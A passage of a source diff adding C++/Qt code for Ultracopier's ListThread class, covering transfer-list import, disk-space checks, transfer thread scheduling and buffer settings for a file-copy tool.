+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("New data to import: %1,%2,%3").arg(args.at(0)).arg(args.at(1)).arg(args.at(2)));
+ if(args.at(0)==QStringLiteral("Copy"))
+ tempMode=Ultracopier::Copy;
+ else
+ tempMode=Ultracopier::Move;
+ addToTransfer(QFileInfo(args.at(1)),QFileInfo(args.at(2)),tempMode);
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Wrong line syntax: %1").arg(content));
+ errorFound=true;
+ }
+ }
+ }
+ while(data.size()>0);
+ transferFile.close();
+ if(errorFound)
+ emit warningTransferList(tr("Some errors have been found during the line parsing"));
+
+ updateTheStatus();//->sendActionDone(); into this
+ autoStartAndCheckSpace();
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Unable to open the transfer list: %1").arg(transferFile.errorString()));
+ emit errorTransferList(tr("Unable to open the transfer list: %1").arg(transferFile.errorString()));
+ return;
+ }
+}
+
+int ListThread::getNumberOfTranferRuning() const
+{
+ int numberOfTranferRuning=0;
+ const int &loop_size=transferThreadList.size();
+ //lunch the transfer in WaitForTheTransfer
+ int int_for_loop=0;
+ while(int_for_loop<loop_size)
+ {
+ if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_Transfer && transferThreadList.at(int_for_loop)->transferId!=0 && transferThreadList.at(int_for_loop)->transferSize>=parallelizeIfSmallerThan)
+ numberOfTranferRuning++;
+ int_for_loop++;
+ }
+ return numberOfTranferRuning;
+}
+
+//return
+bool ListThread::needMoreSpace() const
+{
+ if(!checkDiskSpace)
+ return false;
+ QList<Diskspace> diskspace_list;
+ QHashIterator<QString,quint64> i(requiredSpace);
+ while (i.hasNext()) {
+ i.next();
+ #ifdef Q_OS_WIN32
+ if(i.key()!="A:\\" && i.key()!="A:/" && i.key()!="A:" && i.key()!="A" && i.key()!="a:\\" && i.key()!="a:/" && i.key()!="a:" && i.key()!="a")
+ {
+ #endif
+ QStorageInfo storageInfo(i.key());
+ storageInfo.refresh();
+ const qint64 &availableSpace=storageInfo.bytesAvailable();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ const qint64 &bytesFree=storageInfo.bytesFree();
+ #endif
+
+ if(availableSpace<0 ||
+ //workaround for all 0 value in case of bug from Qt
+ (availableSpace==0 && storageInfo.bytesTotal()==0)
+ )
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("availableSpace: %1, space needed: %2, on: %3, bytesFree: %4").arg(availableSpace).arg(i.value()).arg(i.key()).arg(bytesFree));
+ }
+ else if(i.value()>(quint64)availableSpace)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("availableSpace: %1, space needed: %2, on: %3, bytesFree: %4").arg(availableSpace).arg(i.value()).arg(i.key()).arg(bytesFree));
+ #ifdef Q_OS_WIN32
+ //if(i.key().contains(QRegularExpression("^[a-zA-Z]:[\\\\/]")))
+ if(i.key().contains(QRegularExpression("^[a-zA-Z]:")))
+ #endif
+ {
+ Diskspace diskspace;
+ diskspace.drive=i.key();
+ diskspace.freeSpace=availableSpace;
+ diskspace.requiredSpace=i.value();
+ diskspace_list << diskspace;
+ }
+ #ifdef Q_OS_WIN32
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("not local drive"));
+ #endif
+ }
+ #ifdef Q_OS_WIN32
+ }
+ #endif
+ }
+ if(!diskspace_list.isEmpty())
+ emit missingDiskSpace(diskspace_list);
+ return ! diskspace_list.isEmpty();
+}
+
+//do new actions
+void ListThread::doNewActions_start_transfer()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("actionToDoListTransfer.size(): %1, numberOfTranferRuning: %2").arg(actionToDoListTransfer.size()).arg(getNumberOfTranferRuning()));
+ if(stopIt || putInPause)
+ return;
+ int numberOfTranferRuning=getNumberOfTranferRuning();
+ const int &loop_size=transferThreadList.size();
+ //lunch the transfer in WaitForTheTransfer
+ int int_for_loop=0;
+ while(int_for_loop<loop_size)
+ {
+ if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_WaitForTheTransfer)
+ {
+ if(transferThreadList.at(int_for_loop)->transferSize>=parallelizeIfSmallerThan)
+ {
+ if(numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)
+ {
+ transferThreadList.at(int_for_loop)->startTheTransfer();
+ numberOfTranferRuning++;
+ }
+ }
+ else
+ transferThreadList.at(int_for_loop)->startTheTransfer();
+ }
+ int_for_loop++;
+ }
+ int_for_loop=0;
+ while(int_for_loop<loop_size)
+ {
+ if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_PreOperation)
+ {
+ if(transferThreadList.at(int_for_loop)->transferSize>=parallelizeIfSmallerThan)
+ {
+ if(numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)
+ {
+ transferThreadList.at(int_for_loop)->startTheTransfer();
+ numberOfTranferRuning++;
+ }
+ }
+ else
+ transferThreadList.at(int_for_loop)->startTheTransfer();
+ }
+ int_for_loop++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("numberOfTranferRuning: ")+QString::number(numberOfTranferRuning));
+}
+
+/** \brief lunch the pre-op or inode op
+ 1) locate the next next item to do into the both list
+ 1a) optimisation posible on the mkpath/rmpath
+ 2) determine what need be lunched
+ 3) lunch it, rerun the 2)
+ */
+void ListThread::doNewActions_inode_manipulation()
+{
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("actionToDoList.size(): %1").arg(actionToDoListTransfer.size()));
+ #endif
+ if(stopIt)
+ checkIfReadyToCancel();
+ if(stopIt || putInPause)
+ return;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ #endif
+ //lunch the pre-op or inode op
+ TransferThread *currentTransferThread;
+ int int_for_loop=0;
+ int int_for_internal_loop=0;
+ int int_for_transfer_thread_search=0;
+ actionToDoListTransfer_count=actionToDoListTransfer.size();
+ actionToDoListInode_count=actionToDoListInode.size();
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ //search the next transfer action to do
+ while(int_for_loop<actionToDoListTransfer_count)
+ {
+ if(!actionToDoListTransfer.at(int_for_loop).isRunning)
+ {
+ //search the next inode action to do
+ while(int_for_internal_loop<actionToDoListInode_count)
+ {
+ if(!actionToDoListInode.at(int_for_internal_loop).isRunning)
+ {
+ if(actionToDoListTransfer.at(int_for_loop).id<actionToDoListInode.at(int_for_internal_loop).id)
+ {
+ //do the tranfer action in the next code
+ break;
+ }
+ else
+ {
+ //do the inode action
+ #include "ListThread_InodeAction.cpp"
+ }
+ }
+ int_for_internal_loop++;
+ }
+ ActionToDoTransfer& currentActionToDoTransfer=actionToDoListTransfer[int_for_loop];
+ //do the tranfer action
+ while(int_for_transfer_thread_search<loop_sub_size_transfer_thread_search)
+ {
+ /**
+ transferThreadList.at(int_for_transfer_thread_search)->transferId==0) /!\ important!
+ Because the other thread can have call doNewAction before than this thread have the finish event parsed!
+ I this case it lose all data
+ */
+ currentTransferThread=transferThreadList.at(int_for_transfer_thread_search);
+ if(currentTransferThread->getStat()==TransferStat_Idle && currentTransferThread->transferId==0) // /!\ important!
+ {
+ QString drive=driveManagement.getDrive(actionToDoListTransfer.at(int_for_internal_loop).destination.absoluteFilePath());
+ if(requiredSpace.contains(drive) && (actionToDoListTransfer.at(int_for_internal_loop).mode!=Ultracopier::Move || drive!=driveManagement.getDrive(actionToDoListTransfer.at(int_for_internal_loop).source.absoluteFilePath())))
+ {
+ requiredSpace[drive]-=actionToDoListTransfer.at(int_for_internal_loop).size;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("space needed removed: %1, space needed: %2, on: %3").arg(actionToDoListTransfer.at(int_for_internal_loop).size).arg(requiredSpace.value(drive)).arg(drive));
+ }
+ currentTransferThread->transferId=currentActionToDoTransfer.id;
+ currentTransferThread->transferSize=currentActionToDoTransfer.size;
+ if(!currentTransferThread->setFiles(
+ currentActionToDoTransfer.source,
+ currentActionToDoTransfer.size,
+ currentActionToDoTransfer.destination,
+ currentActionToDoTransfer.mode
+ ))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[%1] id: %2 is idle, but seam busy at set name: %3").arg(int_for_loop).arg(currentTransferThread->transferId).arg(currentActionToDoTransfer.destination.absoluteFilePath()));
+ break;
+ }
+ currentActionToDoTransfer.isRunning=true;
+
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[%1] id: %2 is idle, use it for %3").arg(int_for_loop).arg(currentTransferThread->transferId).arg(currentActionToDoTransfer.destination.absoluteFilePath()));
+
+ /// \note wrong position? Else write why it's here
+ Ultracopier::ReturnActionOnCopyList newAction;
+ newAction.type = Ultracopier::PreOperation;
+ newAction.addAction.id = currentActionToDoTransfer.id;
+ newAction.addAction.sourceFullPath = currentActionToDoTransfer.source.absoluteFilePath();
+ newAction.addAction.sourceFileName = currentActionToDoTransfer.source.fileName();
+ newAction.addAction.destinationFullPath = currentActionToDoTransfer.destination.absoluteFilePath();
+ newAction.addAction.destinationFileName = currentActionToDoTransfer.destination.fileName();
+ newAction.addAction.size = currentActionToDoTransfer.size;
+ newAction.addAction.mode = currentActionToDoTransfer.mode;
+ actionDone << newAction;
+ int_for_transfer_thread_search++;
+ numberOfInodeOperation++;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("numberOfInodeOperation: %1").arg(numberOfInodeOperation));
+ #endif
+ break;
+ }
+ int_for_transfer_thread_search++;
+ }
+ if(int_for_internal_loop==loop_sub_size_transfer_thread_search)
+ {
+ /// \note Can be normal when all thread is not initialized
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"unable to found free thread to do the transfer");
+ #endif
+ break;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("numberOfInodeOperation: %1").arg(numberOfInodeOperation));
+ #endif
+ if(numberOfInodeOperation>=inodeThreads)
+ break;
+ if(followTheStrictOrder)
+ break;
+ }
+ int_for_loop++;
+ }
+ //search the next inode action to do
+ int_for_internal_loop=0;
+ while(int_for_internal_loop<actionToDoListInode_count)
+ {
+ if(!actionToDoListInode.at(int_for_internal_loop).isRunning)
+ {
+ //do the inode action
+ #include "ListThread_InodeAction.cpp"
+ }
+ int_for_internal_loop++;
+ }
+ //error checking
+ if(actionToDoListInode_count>inodeThreads)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("The index have been detected as out of max range: %1>%2").arg(actionToDoListInode_count).arg(inodeThreads));
+ return;
+ }
+}
+
+//restart transfer if it can
+void ListThread::restartTransferIfItCan()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ TransferThread *transfer=qobject_cast<TransferThread *>(QObject::sender());
+ if(transfer==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("transfer thread not located!"));
+ return;
+ }
+ int numberOfTranferRuning=getNumberOfTranferRuning();
+ if(numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER && transfer->getStat()==TransferStat_WaitForTheTransfer)
+ transfer->startTheTransfer();
+ doNewActions_start_transfer();
+}
+
+/// \brief update the transfer stat
+void ListThread::newTransferStat(const TransferStat &stat,const quint64 &id)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("TransferStat: %1").arg(stat));
+ Ultracopier::ReturnActionOnCopyList newAction;
+ switch(stat)
+ {
+ case TransferStat_Idle:
+ return;
+ break;
+ case TransferStat_PreOperation:
+ return;
+ break;
+ case TransferStat_WaitForTheTransfer:
+ return;
+ break;
+ case TransferStat_Transfer:
+ newAction.type=Ultracopier::Transfer;
+ break;
+ case TransferStat_PostTransfer:
+ case TransferStat_PostOperation:
+ newAction.type=Ultracopier::PostOperation;
+ break;
+ case TransferStat_Checksum:
+ newAction.type=Ultracopier::CustomOperation;
+ break;
+ default:
+ return;
+ break;
+ }
+ newAction.addAction.id = id;
+ actionDone << newAction;
+}
+
+void ListThread::set_osBufferLimit(const unsigned int &osBufferLimit)
+{
+ this->osBufferLimit=osBufferLimit;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ transferThreadList.at(index)->set_osBufferLimit(osBufferLimit);
+ index++;
+ }
+}
+
+void ListThread::set_setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("include.size(): %1, exclude.size(): %2").arg(include.size()).arg(exclude.size()));
+ this->include=include;
+ this->exclude=exclude;
+ int index=0;
+ while(index<scanFileOrFolderThreadsPool.size())
+ {
+ scanFileOrFolderThreadsPool.at(index)->setFilters(include,exclude);
+ index++;
+ }
+}
+
+void ListThread::set_sendNewRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule)
+{
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+ emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
+}
+
+void ListThread::set_updateMount()
+{
+ driveManagement.tryUpdate();
+ emit send_updateMount();
+}
+
+void ListThread::mkPathFirstFolderFinish()
+{
+ int int_for_loop=0;
+ const int &loop_size=actionToDoListInode.size();
+ while(int_for_loop<loop_size)
+ {
+ if(actionToDoListInode.at(int_for_loop).isRunning)
+ {
+ if(actionToDoListInode.at(int_for_loop).type==ActionType_MkPath)
+ {
+ //to send to the log
+ emit mkPath(actionToDoListInode.at(int_for_loop).destination.absoluteFilePath());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("stop mkpath: %1").arg(actionToDoListInode.at(int_for_loop).destination.absoluteFilePath()));
+ actionToDoListInode.removeAt(int_for_loop);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("actionToDoListTransfer.size(): %1, actionToDoListInode: %2, actionToDoListInode_afterTheTransfer: %3").arg(actionToDoListTransfer.size()).arg(actionToDoListInode.size()).arg(actionToDoListInode_afterTheTransfer.size()));
+ if(actionToDoListTransfer.isEmpty() && actionToDoListInode.isEmpty() && actionToDoListInode_afterTheTransfer.isEmpty())
+ updateTheStatus();
+ numberOfInodeOperation--;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("numberOfInodeOperation: %1").arg(numberOfInodeOperation));
+ #endif
+ doNewActions_inode_manipulation();
+ return;
+ }
+ if(actionToDoListInode.at(int_for_loop).type==ActionType_MovePath || actionToDoListInode.at(int_for_loop).type==ActionType_RealMove
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ || actionToDoListInode.at(int_for_loop).type==ActionType_RmSync
+ #endif
+ )
+ {
+ //to send to the log
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(actionToDoListInode.at(int_for_loop).type!=ActionType_RmSync)
+ emit mkPath(actionToDoListInode.at(int_for_loop).destination.absoluteFilePath());
+ #else
+ emit mkPath(actionToDoListInode.at(int_for_loop).destination.absoluteFilePath());
+ #endif
+ emit rmPath(actionToDoListInode.at(int_for_loop).source.absoluteFilePath());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("stop mkpath: %1").arg(actionToDoListInode.at(int_for_loop).destination.absoluteFilePath()));
+ actionToDoListInode.removeAt(int_for_loop);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("actionToDoListTransfer.size(): %1, actionToDoListInode: %2, actionToDoListInode_afterTheTransfer: %3").arg(actionToDoListTransfer.size()).arg(actionToDoListInode.size()).arg(actionToDoListInode_afterTheTransfer.size()));
+ if(actionToDoListTransfer.isEmpty() && actionToDoListInode.isEmpty() && actionToDoListInode_afterTheTransfer.isEmpty())
+ updateTheStatus();
+ numberOfInodeOperation--;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_SCHEDULER
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("numberOfInodeOperation: %1").arg(numberOfInodeOperation));
+ #endif
+ doNewActions_inode_manipulation();
+ return;
+ }
+
+ }
+ int_for_loop++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to found item into the todo list");
+}
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+
+void ListThread::timedUpdateDebugDialog()
+{
+ QStringList newList;
+ int index=0;
+ int loop_sub_size_transfer_thread_search=transferThreadList.size();
+ while(index<loop_sub_size_transfer_thread_search)
+ {
+ QString stat;
+ switch(transferThreadList.at(index)->getStat())
+ {
+ case TransferStat_Idle:
+ stat="Idle";
+ break;
+ case TransferStat_PreOperation:
+ stat="PreOperation";
+ break;
+ case TransferStat_WaitForTheTransfer:
+ stat="WaitForTheTransfer";
+ break;
+ case TransferStat_Transfer:
+ stat="Transfer";
+ break;
+ case TransferStat_PostOperation:
+ stat="PostOperation";
+ break;
+ case TransferStat_PostTransfer:
+ stat="PostTransfer";
+ break;
+ case TransferStat_Checksum:
+ stat="Checksum";
+ break;
+ default:
+ stat=QStringLiteral("??? (%1)").arg(transferThreadList.at(index)->getStat());
+ break;
+ }
+ newList << QStringLiteral("%1) (%3,%4) %2")
+ .arg(index)
+ .arg(stat)
+ .arg(transferThreadList.at(index)->readingLetter())
+ .arg(transferThreadList.at(index)->writingLetter());
+ index++;
+ }
+ QStringList newList2;
+ index=0;
+ const int &loop_size=actionToDoListTransfer.size();
+ while(index<loop_size)
+ {
+ newList2 << QStringLiteral("%1 %2 %3")
+ .arg(actionToDoListTransfer.at(index).source.absoluteFilePath())
+ .arg(actionToDoListTransfer.at(index).size)
+ .arg(actionToDoListTransfer.at(index).destination.absoluteFilePath());
+ if(index>((inodeThreads+ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)*2+1))
+ {
+ newList2 << QStringLiteral("...");
+ break;
+ }
+ index++;
+ }
+ emit updateTheDebugInfo(newList,newList2,numberOfInodeOperation);
+}
+
+#endif
+
+/// \note Can be call without queue because all call will be serialized
+void ListThread::fileAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame)
+{
+ emit send_fileAlreadyExists(source,destination,isSame,qobject_cast<TransferThread *>(sender()));
+}
+
+/// \note Can be call without queue because all call will be serialized
+void ListThread::errorOnFile(const QFileInfo &fileInfo, const QString &errorString, const ErrorType &errorType)
+{
+ TransferThread * transferThread=qobject_cast<TransferThread *>(sender());
+ if(transferThread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Thread locating error");
+ return;
+ }
+ ErrorLogEntry errorLogEntry;
+ errorLogEntry.source=transferThread->getSourceInode();
+ errorLogEntry.destination=transferThread->getDestinationInode();
+ errorLogEntry.mode=transferThread->getMode();
+ errorLogEntry.error=errorString;
+ errorLog << errorLogEntry;
+ emit errorToRetry(transferThread->getSourcePath(),transferThread->getDestinationPath(),errorString);
+ emit send_errorOnFile(fileInfo,errorString,transferThread,errorType);
+}
+
+/// \note Can be call without queue because all call will be serialized
+void ListThread::folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame)
+{
+ emit send_folderAlreadyExists(source,destination,isSame,qobject_cast<ScanFileOrFolder *>(sender()));
+}
+
+/// \note Can be call without queue because all call will be serialized
+/// \todo all this part
+void ListThread::errorOnFolder(const QFileInfo &fileInfo,const QString &errorString,const ErrorType &errorType)
+{
+ emit send_errorOnFolder(fileInfo,errorString,qobject_cast<ScanFileOrFolder *>(sender()),errorType);
+}
+
+//to run the thread
+void ListThread::run()
+{
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ clockForTheCopySpeed=new QTimer();
+ #endif
+
+ exec();
+}
+
+void ListThread::getNeedPutAtBottom(const QFileInfo &fileInfo, const QString &errorString, TransferThread *thread, const ErrorType &errorType)
+{
+ if(actionToDoListTransfer.empty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"can't try put at bottom if empty");
+ this->alwaysDoThisActionForFileExists=FileExists_NotSet;
+ putAtBottom=0;
+ emit haveNeedPutAtBottom(false,fileInfo,errorString,thread,errorType);
+ return;
+ }
+ bool needPutAtBottom=(putAtBottom<(quint32)actionToDoListTransfer.size());
+ if(!needPutAtBottom)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Reset put at bottom");
+ this->alwaysDoThisActionForFileExists=FileExists_NotSet;
+ putAtBottom=0;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"Put at bottom for later try");
+ thread->putAtBottom();
+ putAtBottom++;
+ return;
+ }
+ emit haveNeedPutAtBottom(needPutAtBottom,fileInfo,errorString,thread,errorType);
+}
+
+/// \to create transfer thread
+void ListThread::createTransferThread()
+{
+ if(stopIt)
+ return;
+ if(transferThreadList.size()>=inodeThreads)
+ return;
+ transferThreadList << new TransferThread();
+ TransferThread * last=transferThreadList.last();
+ last->transferId=0;
+ last->transferSize=0;
+ last->setRightTransfer(doRightTransfer);
+ last->setKeepDate(keepDate);
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ if(!last->setBlockSize(blockSizeAfterSpeedLimitation))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to set the block size: ")+QString::number(blockSizeAfterSpeedLimitation));
+ #else
+ if(!last->setBlockSize(blockSize))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to set the block size: ")+QString::number(blockSize));
+ #endif
+ if(!last->setSequentialBuffer(sequentialBuffer))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to set the sequentialBuffer: ")+QString::number(sequentialBuffer));
+ if(!last->setBlockSize(parallelBuffer))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to set the parallelBuffer: ")+QString::number(parallelBuffer));
+ last->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ last->setMultiForBigSpeed(multiForBigSpeed);
+ #endif
+ last->set_doChecksum(doChecksum);
+ last->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
+ last->set_checksumOnlyOnError(checksumOnlyOnError);
+ last->set_osBuffer(osBuffer);
+ last->set_osBufferLimited(osBufferLimited);
+ last->set_osBufferLimit(osBufferLimit);
+ last->setDeletePartiallyTransferredFiles(deletePartiallyTransferredFiles);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ last->setRsync(rsync);
+ #endif
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(last,&TransferThread::debugInformation, this,&ListThread::debugInformation, Qt::QueuedConnection);
+ #endif // ULTRACOPIER_PLUGIN_DEBUG
+ connect(last,&TransferThread::errorOnFile, this,&ListThread::errorOnFile, Qt::QueuedConnection);
+ connect(last,&TransferThread::fileAlreadyExists, this,&ListThread::fileAlreadyExists, Qt::QueuedConnection);
+ connect(last,&TransferThread::tryPutAtBottom, this,&ListThread::transferPutAtBottom, Qt::QueuedConnection);
+ connect(last,&TransferThread::readStopped, this,&ListThread::doNewActions_start_transfer, Qt::QueuedConnection);
+ connect(last,&TransferThread::preOperationStopped, this,&ListThread::doNewActions_start_transfer, Qt::QueuedConnection);
+ connect(last,&TransferThread::postOperationStopped, this,&ListThread::transferInodeIsClosed, Qt::QueuedConnection);
+ connect(last,&TransferThread::checkIfItCanBeResumed, this,&ListThread::restartTransferIfItCan, Qt::QueuedConnection);
+ connect(last,&TransferThread::pushStat, this,&ListThread::newTransferStat, Qt::QueuedConnection);
+
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ //speed limitation
+ connect(clockForTheCopySpeed, &QTimer::timeout, last, &TransferThread::timeOfTheBlockCopyFinished, Qt::QueuedConnection);
+ #endif
+
+ connect(this,&ListThread::send_sendNewRenamingRules, last,&TransferThread::setRenamingRules, Qt::QueuedConnection);
+
+ connect(this,&ListThread::send_setTransferAlgorithm, last,&TransferThread::setTransferAlgorithm, Qt::QueuedConnection);
+ connect(this,&ListThread::send_parallelBuffer, last,&TransferThread::setParallelBuffer, Qt::QueuedConnection);
+ connect(this,&ListThread::send_sequentialBuffer, last,&TransferThread::setSequentialBuffer, Qt::QueuedConnection);
+ connect(this,&ListThread::send_updateMount, last,&TransferThread::set_updateMount, Qt::QueuedConnection);
+
+ last->start();
+ last->setObjectName(QStringLiteral("transfer %1").arg(transferThreadList.size()-1));
+ last->setMkpathTransfer(&mkpathTransfer);
+ last->setRenamingRules(firstRenamingRule,otherRenamingRule);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ last->setId(transferThreadList.size()-1);
+ #endif
+ if(transferThreadList.size()>=inodeThreads)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("create the last of the ")+QString::number(inodeThreads)+QStringLiteral(" transferThread"));
+ return;
+ }
+ if(stopIt)
+ return;
+ doNewActions_inode_manipulation();
+ emit askNewTransferThread();
+}
+
+void ListThread::deleteTransferThread()
+{
+ int loop_size=transferThreadList.size();
+ if(loop_size>inodeThreads)
+ {
+ int index=0;
+ while(index<loop_size && loop_size>inodeThreads)
+ {
+ if(transferThreadList.at(index)->getStat()==TransferStat_Idle && transferThreadList.at(index)->transferId==0)
+ {
+ transferThreadList.at(index)->stop();
+ delete transferThreadList.at(index);//->deleteLayer();
+ transferThreadList[index]=NULL;
+ transferThreadList.removeAt(index);
+ loop_size--;
+ }
+ else
+ index++;
+ }
+ if(loop_size==inodeThreads)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("inodeThreads is lowered to the right value: ")+QString::number(inodeThreads));
+ }
+}
+
+void ListThread::setTransferAlgorithm(const TransferAlgorithm &transferAlgorithm)
+{
+ if(transferAlgorithm==TransferAlgorithm_Sequential)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("transferAlgorithm==TransferAlgorithm_Sequential"));
+ else if(transferAlgorithm==TransferAlgorithm_Automatic)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("transferAlgorithm==TransferAlgorithm_Automatic"));
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("transferAlgorithm==TransferAlgorithm_Parallel"));
+ emit send_setTransferAlgorithm(transferAlgorithm);
+}
+
+void ListThread::setParallelBuffer(int parallelBuffer)
+{
+ if(parallelBuffer<1 || parallelBuffer>ULTRACOPIER_PLUGIN_MAX_PARALLEL_NUMBER_OF_BLOCK)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("wrong number of block: ")+QString::number(parallelBuffer));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("in number of block: ")+QString::number(parallelBuffer));
+ this->parallelBuffer=parallelBuffer;
+ emit send_parallelBuffer(parallelBuffer);
+}
+
+void ListThread::setSequentialBuffer(int sequentialBuffer)
+{
+ if(sequentialBuffer<1 || sequentialBuffer>ULTRACOPIER_PLUGIN_MAX_SEQUENTIAL_NUMBER_OF_BLOCK)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("wrong number of block: ")+QString::number(sequentialBuffer));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("in number of block: ")+QString::number(sequentialBuffer));
+ this->sequentialBuffer=sequentialBuffer;
+ emit send_sequentialBuffer(sequentialBuffer);
+}
+
+void ListThread::setParallelizeIfSmallerThan(const unsigned int &parallelizeIfSmallerThan)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("parallelizeIfSmallerThan in Bytes: ")+QString::number(parallelizeIfSmallerThan));
+ this->parallelizeIfSmallerThan=parallelizeIfSmallerThan;
+}
+
+void ListThread::setMoveTheWholeFolder(const bool &moveTheWholeFolder)
+{
+ for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
